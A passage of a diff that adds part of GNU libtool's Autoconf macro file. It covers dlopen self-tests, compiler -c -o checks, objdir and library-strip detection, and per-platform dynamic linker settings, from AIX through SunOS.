+		[lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[
+    lt_cv_dlopen="dyld"
+    lt_cv_dlopen_libs=
+    lt_cv_dlopen_self=yes
+    ])
+   ;;
+
+  *)
+    AC_CHECK_FUNC([shl_load],
+	  [lt_cv_dlopen="shl_load"],
+      [AC_CHECK_LIB([dld], [shl_load],
+	    [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"],
+	[AC_CHECK_FUNC([dlopen],
+	      [lt_cv_dlopen="dlopen"],
+	  [AC_CHECK_LIB([dl], [dlopen],
+		[lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],
+	    [AC_CHECK_LIB([svld], [dlopen],
+		  [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"],
+	      [AC_CHECK_LIB([dld], [dld_link],
+		    [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"])
+	      ])
+	    ])
+	  ])
+	])
+      ])
+    ;;
+  esac
+
+  if test "x$lt_cv_dlopen" != xno; then
+    enable_dlopen=yes
+  else
+    enable_dlopen=no
+  fi
+
+  case $lt_cv_dlopen in
+  dlopen)
+    save_CPPFLAGS="$CPPFLAGS"
+    test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
+
+    save_LDFLAGS="$LDFLAGS"
+    wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
+
+    save_LIBS="$LIBS"
+    LIBS="$lt_cv_dlopen_libs $LIBS"
+
+    AC_CACHE_CHECK([whether a program can dlopen itself],
+	  lt_cv_dlopen_self, [dnl
+	  _LT_AC_TRY_DLOPEN_SELF(
+	    lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes,
+	    lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross)
+    ])
+
+    if test "x$lt_cv_dlopen_self" = xyes; then
+      wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
+      AC_CACHE_CHECK([whether a statically linked program can dlopen itself],
+    	  lt_cv_dlopen_self_static, [dnl
+	  _LT_AC_TRY_DLOPEN_SELF(
+	    lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes,
+	    lt_cv_dlopen_self_static=no,  lt_cv_dlopen_self_static=cross)
+      ])
+    fi
+
+    CPPFLAGS="$save_CPPFLAGS"
+    LDFLAGS="$save_LDFLAGS"
+    LIBS="$save_LIBS"
+    ;;
+  esac
+
+  case $lt_cv_dlopen_self in
+  yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
+  *) enable_dlopen_self=unknown ;;
+  esac
+
+  case $lt_cv_dlopen_self_static in
+  yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
+  *) enable_dlopen_self_static=unknown ;;
+  esac
+fi
+])# AC_LIBTOOL_DLOPEN_SELF
+
+
+# AC_LIBTOOL_PROG_CC_C_O([TAGNAME])
+# ---------------------------------
+# Check to see if options -c and -o are simultaneously supported by compiler
+AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O],
+[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
+AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext],
+  [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)],
+  [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no
+   $rm -r conftest 2>/dev/null
+   mkdir conftest
+   cd conftest
+   mkdir out
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+   lt_compiler_flag="-o out/conftest2.$ac_objext"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
+   (eval "$lt_compile" 2>out/conftest.err)
+   ac_status=$?
+   cat out/conftest.err >&AS_MESSAGE_LOG_FD
+   echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
+   if (exit $ac_status) && test -s out/conftest2.$ac_objext
+   then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
+     $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
+     if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
+       _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
+     fi
+   fi
+   chmod u+w . 2>&AS_MESSAGE_LOG_FD
+   $rm conftest*
+   # SGI C++ compiler will create directory out/ii_files/ for
+   # template instantiation
+   test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
+   $rm out/* && rmdir out
+   cd ..
+   rmdir conftest
+   $rm conftest*
+])
+])# AC_LIBTOOL_PROG_CC_C_O
+
+
+# AC_LIBTOOL_SYS_HARD_LINK_LOCKS([TAGNAME])
+# -----------------------------------------
+# Check to see if we can do hard links to lock some files if needed
+AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS],
+[AC_REQUIRE([_LT_AC_LOCK])dnl
+
+hard_links="nottested"
+if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then
+  # do not overwrite the value of need_locks provided by the user
+  AC_MSG_CHECKING([if we can lock with hard links])
+  hard_links=yes
+  $rm conftest*
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  touch conftest.a
+  ln conftest.a conftest.b 2>&5 || hard_links=no
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  AC_MSG_RESULT([$hard_links])
+  if test "$hard_links" = no; then
+    AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe])
+    need_locks=warn
+  fi
+else
+  need_locks=no
+fi
+])# AC_LIBTOOL_SYS_HARD_LINK_LOCKS
+
+
+# AC_LIBTOOL_OBJDIR
+# -----------------
+AC_DEFUN([AC_LIBTOOL_OBJDIR],
+[AC_CACHE_CHECK([for objdir], [lt_cv_objdir],
+[rm -f .libs 2>/dev/null
+mkdir .libs 2>/dev/null
+if test -d .libs; then
+  lt_cv_objdir=.libs
+else
+  # MS-DOS does not allow filenames that begin with a dot.
+  lt_cv_objdir=_libs
+fi
+rmdir .libs 2>/dev/null])
+objdir=$lt_cv_objdir
+])# AC_LIBTOOL_OBJDIR
+
+
+# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([TAGNAME])
+# ----------------------------------------------
+# Check hardcoding attributes.
+AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH],
+[AC_MSG_CHECKING([how to hardcode library paths into programs])
+_LT_AC_TAGVAR(hardcode_action, $1)=
+if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \
+   test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \
+   test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then
+
+  # We can hardcode non-existant directories.
+  if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" != no &&
+     # If the only mechanism to avoid hardcoding is shlibpath_var, we
+     # have to relink, otherwise we might link with an installed library
+     # when we should be linking with a yet-to-be-installed one
+     ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" != no &&
+     test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" != no; then
+    # Linking always hardcodes the temporary library directory.
+    _LT_AC_TAGVAR(hardcode_action, $1)=relink
+  else
+    # We can link without hardcoding, and we can hardcode nonexisting dirs.
+    _LT_AC_TAGVAR(hardcode_action, $1)=immediate
+  fi
+else
+  # We cannot hardcode anything, or else we can only hardcode existing
+  # directories.
+  _LT_AC_TAGVAR(hardcode_action, $1)=unsupported
+fi
+AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)])
+
+if test "$_LT_AC_TAGVAR(hardcode_action, $1)" = relink; then
+  # Fast installation is not supported
+  enable_fast_install=no
+elif test "$shlibpath_overrides_runpath" = yes ||
+     test "$enable_shared" = no; then
+  # Fast installation is not necessary
+  enable_fast_install=needless
+fi
+])# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH
+
+
+# AC_LIBTOOL_SYS_LIB_STRIP
+# ------------------------
+AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP],
+[striplib=
+old_striplib=
+AC_MSG_CHECKING([whether stripping libraries is possible])
+if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
+  test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
+  test -z "$striplib" && striplib="$STRIP --strip-unneeded"
+  AC_MSG_RESULT([yes])
+else
+# FIXME - insert some real tests, host_os isn't really good enough
+  case $host_os in
+   darwin*)
+       if test -n "$STRIP" ; then
+         striplib="$STRIP -x"
+         AC_MSG_RESULT([yes])
+       else
+  AC_MSG_RESULT([no])
+fi
+       ;;
+   *)
+  AC_MSG_RESULT([no])
+    ;;
+  esac
+fi
+])# AC_LIBTOOL_SYS_LIB_STRIP
+
+
+# AC_LIBTOOL_SYS_DYNAMIC_LINKER
+# -----------------------------
+# PORTME Fill in your ld.so characteristics
+AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER],
+[AC_MSG_CHECKING([dynamic linker characteristics])
+library_names_spec=
+libname_spec='lib$name'
+soname_spec=
+shrext_cmds=".so"
+postinstall_cmds=
+postuninstall_cmds=
+finish_cmds=
+finish_eval=
+shlibpath_var=
+shlibpath_overrides_runpath=unknown
+version_type=none
+dynamic_linker="$host_os ld.so"
+sys_lib_dlsearch_path_spec="/lib /usr/lib"
+if test "$GCC" = yes; then
+  sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+  if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
+    # if the path contains ";" then we assume it to be the separator
+    # otherwise default to the standard path separator (i.e. ":") - it is
+    # assumed that no part of a normal pathname contains ";" but that should
+    # okay in the real world where ";" in dirpaths is itself problematic.
+    sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+  else
+    sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+  fi
+else
+  sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
+fi
+need_lib_prefix=unknown
+hardcode_into_libs=no
+
+# when you set need_version to no, make sure it does not cause -set_version
+# flags to be left without arguments
+need_version=unknown
+
+case $host_os in
+aix3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
+  shlibpath_var=LIBPATH
+
+  # AIX 3 has no versioning support, so we append a major version to the name.
+  soname_spec='${libname}${release}${shared_ext}$major'
+  ;;
+
+aix4* | aix5*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  hardcode_into_libs=yes
+  if test "$host_cpu" = ia64; then
+    # AIX 5 supports IA64
+    library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
+    shlibpath_var=LD_LIBRARY_PATH
+  else
+    # With GCC up to 2.95.x, collect2 would create an import file
+    # for dependence libraries.  The import file would start with
+    # the line `#! .'.  This would cause the generated library to
+    # depend on `.', always an invalid library.  This was fixed in
+    # development snapshots of GCC prior to 3.0.
+    case $host_os in
+      aix4 | aix4.[[01]] | aix4.[[01]].*)
+      if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
+	   echo ' yes '
+	   echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
+	:
+      else
+	can_build_shared=no
+      fi
+      ;;
+    esac
+    # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
+    # soname into executable. Probably we can add versioning support to
+    # collect2, so additional links can be useful in future.
+    if test "$aix_use_runtimelinking" = yes; then
+      # If using run time linking (on AIX 4.2 or later) use lib<name>.so
+      # instead of lib<name>.a to let people know that these are not
+      # typical AIX shared libraries.
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    else
+      # We preserve .a as extension for shared libraries through AIX4.2
+      # and later when we are not doing run time linking.
+      library_names_spec='${libname}${release}.a $libname.a'
+      soname_spec='${libname}${release}${shared_ext}$major'
+    fi
+    shlibpath_var=LIBPATH
+  fi
+  ;;
+
+amigaos*)
+  library_names_spec='$libname.ixlibrary $libname.a'
+  # Create ${libname}_ixlibrary.a entries in /sys/libs.
+  finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
+  ;;
+
+beos*)
+  library_names_spec='${libname}${shared_ext}'
+  dynamic_linker="$host_os ld.so"
+  shlibpath_var=LIBRARY_PATH
+  ;;
+
+bsdi[[45]]*)
+  version_type=linux
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
+  sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
+  # the default ld.so.conf also contains /usr/contrib/lib and
+  # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
+  # libtool to hard-code these into programs
+  ;;
+
+cygwin* | mingw* | pw32*)
+  version_type=windows
+  shrext_cmds=".dll"
+  need_version=no
+  need_lib_prefix=no
+
+  case $GCC,$host_os in
+  yes,cygwin* | yes,mingw* | yes,pw32*)
+    library_names_spec='$libname.dll.a'
+    # DLL is installed to $(libdir)/../bin by postinstall_cmds
+    postinstall_cmds='base_file=`basename \${file}`~
+      dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
+      dldir=$destdir/`dirname \$dlpath`~
+      test -d \$dldir || mkdir -p \$dldir~
+      $install_prog $dir/$dlname \$dldir/$dlname~
+      chmod a+x \$dldir/$dlname'
+    postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
+      dlpath=$dir/\$dldll~
+       $rm \$dlpath'
+    shlibpath_overrides_runpath=yes
+
+    case $host_os in
+    cygwin*)
+      # Cygwin DLLs use 'cyg' prefix rather than 'lib'
+      soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
+      ;;
+    mingw*)
+      # MinGW DLLs use traditional 'lib' prefix
+      soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+      if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/null]; then
+        # It is most probably a Windows format PATH printed by
+        # mingw gcc, but we are running on Cygwin. Gcc prints its search
+        # path with ; separators, and with drive letters. We can handle the
+        # drive letters (cygwin fileutils understands them), so leave them,
+        # especially as we might pass files found there to a mingw objdump,
+        # which wouldn't understand a cygwinified path. Ahh.
+        sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+      else
+        sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+      fi
+      ;;
+    pw32*)
+      # pw32 DLLs use 'pw' prefix rather than 'lib'
+      library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+      ;;
+    esac
+    ;;
+
+  *)
+    library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
+    ;;
+  esac
+  dynamic_linker='Win32 ld.exe'
+  # FIXME: first we should search . and the directory the executable is in
+  shlibpath_var=PATH
+  ;;
+
+darwin* | rhapsody*)
+  dynamic_linker="$host_os dyld"
+  version_type=darwin
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
+  soname_spec='${libname}${release}${major}$shared_ext'
+  shlibpath_overrides_runpath=yes
+  shlibpath_var=DYLD_LIBRARY_PATH
+  shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
+  # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
+  if test "$GCC" = yes; then
+    sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
+  else
+    sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
+  fi
+  sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
+  ;;
+
+dgux*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+freebsd1*)
+  dynamic_linker=no
+  ;;
+
+freebsd* | dragonfly*)
+  # DragonFly does not have aout.  When/if they implement a new
+  # versioning mechanism, adjust this.
+  if test -x /usr/bin/objformat; then
+    objformat=`/usr/bin/objformat`
+  else
+    case $host_os in
+    freebsd[[123]]*) objformat=aout ;;
+    *) objformat=elf ;;
+    esac
+  fi
+  version_type=freebsd-$objformat
+  case $version_type in
+    freebsd-elf*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+      need_version=no
+      need_lib_prefix=no
+      ;;
+    freebsd-*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
+      need_version=yes
+      ;;
+  esac
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_os in
+  freebsd2*)
+    shlibpath_overrides_runpath=yes
+    ;;
+  freebsd3.[[01]]* | freebsdelf3.[[01]]*)
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \
+  freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1)
+    shlibpath_overrides_runpath=no
+    hardcode_into_libs=yes
+    ;;
+  freebsd*) # from 4.6 on
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  esac
+  ;;
+
+gnu*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  hardcode_into_libs=yes
+  ;;
+
+hpux9* | hpux10* | hpux11*)
+  # Give a soname corresponding to the major version so that dld.sl refuses to
+  # link against other versions.
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  case $host_cpu in
+  ia64*)
+    shrext_cmds='.so'
+    hardcode_into_libs=yes
+    dynamic_linker="$host_os dld.so"
+    shlibpath_var=LD_LIBRARY_PATH
+    shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    if test "X$HPUX_IA64_MODE" = X32; then
+      sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
+    else
+      sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
+    fi
+    sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+    ;;
+   hppa*64*)
+     shrext_cmds='.sl'
+     hardcode_into_libs=yes
+     dynamic_linker="$host_os dld.sl"
+     shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
+     shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+     library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+     soname_spec='${libname}${release}${shared_ext}$major'
+     sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
+     sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+     ;;
+   *)
+    shrext_cmds='.sl'
+    dynamic_linker="$host_os dld.sl"
+    shlibpath_var=SHLIB_PATH
+    shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    ;;
+  esac
+  # HP-UX runs *really* slowly unless shared libraries are mode 555.
+  postinstall_cmds='chmod 555 $lib'
+  ;;
+
+interix3*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  ;;
+
+irix5* | irix6* | nonstopux*)
+  case $host_os in
+    nonstopux*) version_type=nonstopux ;;
+    *)
+	if test "$lt_cv_prog_gnu_ld" = yes; then
+		version_type=linux
+	else
+		version_type=irix
+	fi ;;
+  esac
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
+  case $host_os in
+  irix5* | nonstopux*)
+    libsuff= shlibsuff=
+    ;;
+  *)
+    case $LD in # libtool.m4 will add one of these switches to LD
+    *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
+      libsuff= shlibsuff= libmagic=32-bit;;
+    *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
+      libsuff=32 shlibsuff=N32 libmagic=N32;;
+    *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
+      libsuff=64 shlibsuff=64 libmagic=64-bit;;
+    *) libsuff= shlibsuff= libmagic=never-match;;
+    esac
+    ;;
+  esac
+  shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
+  shlibpath_overrides_runpath=no
+  sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
+  sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
+  hardcode_into_libs=yes
+  ;;
+
+# No shared lib support for Linux oldld, aout, or coff.
+linux*oldld* | linux*aout* | linux*coff*)
+  dynamic_linker=no
+  ;;
+
+# This must be Linux ELF.
+linux* | k*bsd*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  # This implies no fast_install, which is unacceptable.
+  # Some rework will be needed to allow for fast_install
+  # before this can be enabled.
+  hardcode_into_libs=yes
+
+  # Append ld.so.conf contents to the search path
+  if test -f /etc/ld.so.conf; then
+    lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
+    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+  fi
+
+  # We used to test for /lib/ld.so.1 and disable shared libraries on
+  # powerpc, because MkLinux only supported shared libraries with the
+  # GNU dynamic linker.  Since this was broken with cross compilers,
+  # most powerpc-linux boxes support dynamic linking these days and
+  # people can always --disable-shared, the test was removed, and we
+  # assume the GNU/Linux dynamic linker is in use.
+  dynamic_linker='GNU/Linux ld.so'
+  ;;
+
+netbsdelf*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='NetBSD ld.elf_so'
+  ;;
+
+netbsd*)
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+    finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+    dynamic_linker='NetBSD (a.out) ld.so'
+  else
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    dynamic_linker='NetBSD ld.elf_so'
+  fi
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  ;;
+
+newsos6)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  ;;
+
+nto-qnx*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  ;;
+
+openbsd*)
+  version_type=sunos
+  sys_lib_dlsearch_path_spec="/usr/lib"
+  need_lib_prefix=no
+  # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
+  case $host_os in
+    openbsd3.3 | openbsd3.3.*) need_version=yes ;;
+    *)                         need_version=no  ;;
+  esac
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+    case $host_os in
+      openbsd2.[[89]] | openbsd2.[[89]].*)
+	shlibpath_overrides_runpath=no
+	;;
+      *)
+	shlibpath_overrides_runpath=yes
+	;;
+      esac
+  else
+    shlibpath_overrides_runpath=yes
+  fi
+  ;;
+
+os2*)
+  libname_spec='$name'
+  shrext_cmds=".dll"
+  need_lib_prefix=no
+  library_names_spec='$libname${shared_ext} $libname.a'
+  dynamic_linker='OS/2 ld.exe'
+  shlibpath_var=LIBPATH
+  ;;
+
+osf3* | osf4* | osf5*)
+  version_type=osf
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
+  sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
+  ;;
+
+solaris*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  # ldd complains unless libraries are executable
+  postinstall_cmds='chmod +x $lib'
+  ;;
+
+sunos4*)
+  version_type=sunos
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  if test "$with_gnu_ld" = yes; then
+    need_lib_prefix=no
+  fi
+  need_version=yes
+  ;;
